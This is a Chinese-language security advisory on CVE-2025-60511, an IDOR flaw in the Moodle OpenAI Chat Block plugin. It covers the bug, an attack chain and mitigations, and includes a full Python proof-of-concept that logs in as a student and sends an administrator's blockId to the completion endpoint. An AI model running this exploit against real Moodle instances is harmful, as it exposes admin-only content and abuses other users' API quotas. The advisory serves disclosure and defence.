IPBUF安全漏洞报告
English
CVE-2025-60511 CVSS 4.3 中危

CVE-2025-60511 Moodle OpenAI Chat Block插件IDOR漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-60511
漏洞类型
IDOR(不安全直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Moodle OpenAI Chat Block Plugin (block_openai_chat)

相关标签

IDOR不安全直接对象引用MoodleOpenAIChat Block权限提升信息泄露API安全LMS中危漏洞

漏洞概述

CVE-2025-60511是Moodle OpenAI Chat Block插件3.0.1版本(2025021700)中存在的一个不安全直接对象引用(IDOR)漏洞。该漏洞位于插件的API端点/blocks/openai_chat/api/completion.php中,由于对blockId参数缺乏充分的验证和授权检查,导致经过身份验证的低权限用户(如学生)可以通过修改请求中的blockId参数,冒充其他用户(包括管理员)的聊天块配置来发送查询请求。

当低权限用户成功利用该漏洞后,其发送的查询请求将以被冒充用户(通常是管理员)的聊天块配置进行处理。这意味着攻击者可以访问管理员专属的"Source of Truth"(知识源)条目,这些条目通常包含敏感信息或仅限管理员访问的内容。此外,攻击者还可以改变AI模型的行为参数(如系统提示词、温度等),并可能滥用与该聊天块关联的OpenAI API资源,导致API费用异常消耗或配额被恶意消耗。

该漏洞的CVSS评分为4.3,属于中危级别。虽然漏洞本身不直接导致代码执行或数据破坏,但其信息泄露和资源滥用的风险对使用该插件的教育机构和企业构成了实质性威胁。特别是考虑到Moodle作为广泛使用的学习管理系统(LMS),许多高校和企业依赖其进行在线教学和培训,该漏洞可能影响到大量组织的AI聊天功能安全性。

技术细节

该漏洞的核心问题在于/blocks/openai_chat/api/completion.php端点对blockId参数的验证不足。具体技术原理如下:

1. **漏洞端点**:插件的API文件/blocks/openai_chat/api/completion.php负责处理聊天补全请求,接收用户发送的消息并通过OpenAI API获取AI响应。

2. **参数验证缺陷**:该端点在处理请求时,直接使用请求中传入的blockId参数来确定使用哪个聊天块的配置(包括系统提示词、API密钥、模型参数、Source of Truth条目等),但未验证当前认证用户是否有权访问或使用该blockId对应的聊天块。

3. **攻击方式**:攻击者首先需要拥有一个有效的Moodle账户(最低权限即可,如学生账户)。然后,攻击者拦截正常的聊天补全请求,将请求中的blockId参数修改为管理员或其他高权限用户的聊天块ID。由于服务器端缺少权限检查,服务器会使用被冒充聊天块的配置来处理请求。

4. **影响范围**:通过此漏洞,攻击者可以:(a) 读取管理员聊天块中配置的Source of Truth条目,可能包含敏感信息;(b) 利用管理员的API配置发送请求,消耗管理员的OpenAI API配额;(c) 通过管理员的系统提示词改变AI的响应行为,可能导致信息误导。

5. **权限模型缺陷**:正常的权限模型应当验证当前用户是否为指定blockId的所有者或被授权使用者,但该插件的实现中缺少这一关键的安全检查,导致了典型的IDOR漏洞。

攻击链分析

STEP 1
步骤1:获取有效凭证
攻击者首先需要拥有一个有效的Moodle账户,通常是低权限的学生账户。这是利用IDOR漏洞的前提条件,因为该端点需要认证用户才能访问。
STEP 2
步骤2:枚举目标blockId
攻击者通过浏览页面、查看源代码或其他信息泄露途径,枚举管理员或其他高权限用户的聊天块blockId。这可能通过查看课程页面、用户资料或其他可访问的资源来获取。
STEP 3
步骤3:获取会话密钥
攻击者登录Moodle系统后,从页面中提取sesskey(Moodle的CSRF保护令牌),用于后续的API请求认证。
STEP 4
步骤4:构造恶意请求
攻击者向/blocks/openai_chat/api/completion.php端点发送POST请求,将blockId参数设置为管理员的聊天块ID,同时附带自己的查询消息。
STEP 5
步骤5:服务器处理请求
由于服务器端缺少对blockId所有权的验证,服务器使用管理员聊天块的配置(包括API密钥、模型参数、Source of Truth等)来处理攻击者的查询请求。
STEP 6
步骤6:获取敏感信息
攻击者收到使用管理员配置生成的响应,可能包含管理员专属的Source of Truth内容、敏感的系统提示词信息,并消耗了管理员的OpenAI API配额。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60511 - Moodle OpenAI Chat Block IDOR Vulnerability PoC # Author: onurcangenc # Reference: https://onurcangenc.com.tr/posts/idor-in-moodle-openai-chat-block-block_openai_chat-proof-of-concept-poc--cve-2025-60511/ import requests import re # Target Moodle instance configuration TARGET_URL = "https://target-moodle-site.com" USERNAME = "student_user" # Low-privileged authenticated user PASSWORD = "student_password" ADMIN_BLOCK_ID = "999" # Target admin's block ID (discovered via enumeration or other means) # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate to Moodle and obtain session cookie login_url = f"{TARGET_URL}/login/index.php" login_response = session.get(login_url) # Extract login token from the page login_token = re.search(r'name="logintoken"\s+value="([a-zA-Z0-9]+)"', login_response.text) if login_token: token = login_token.group(1) else: # Try alternate token extraction token = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', login_response.text) token = token.group(1) if token else "" # Perform login login_data = { "username": USERNAME, "password": PASSWORD, "logintoken": token } session.post(login_url, data=login_data) # Step 2: Get sesskey for API request (Moodle requires sesskey for AJAX requests) profile_page = session.get(f"{TARGET_URL}/my/") sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', profile_page.text) sesskey = sesskey_match.group(1) if sesskey_match else "" # Step 3: Exploit IDOR - Send request with admin's blockId api_url = f"{TARGET_URL}/blocks/openai_chat/api/completion.php" # The vulnerable endpoint accepts blockId without proper authorization check exploit_data = { "blockId": ADMIN_BLOCK_ID, # Admin's block ID - VULNERABLE PARAMETER "message": "What is the Source of Truth content?", "sesskey": sesskey } # Send the exploit request - will be processed with admin's block configuration exploit_response = session.post(api_url, data=exploit_data) print(f"Status: {exploit_response.status_code}") print(f"Response: {exploit_response.text}") # The response will contain information processed using the admin's # chat block configuration, including any Source of Truth entries # and using the admin's API key/model settings

影响范围

block_openai_chat 3.0.1 (2025021700) 及更早版本

防御指南

临时缓解措施
在官方补丁发布之前,建议管理员采取以下临时缓解措施:1)在Moodle中限制OpenAI Chat Block插件的访问权限,仅向必要的用户角色开放;2)监控API调用日志,关注异常的blockId访问请求;3)定期轮换OpenAI API密钥以减少潜在的资源滥用风险;4)考虑暂时禁用该插件的API端点或限制仅管理员可使用;5)在web应用防火墙(WAF)层面添加规则,监控和限制对/blocks/openai_chat/api/completion.php的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表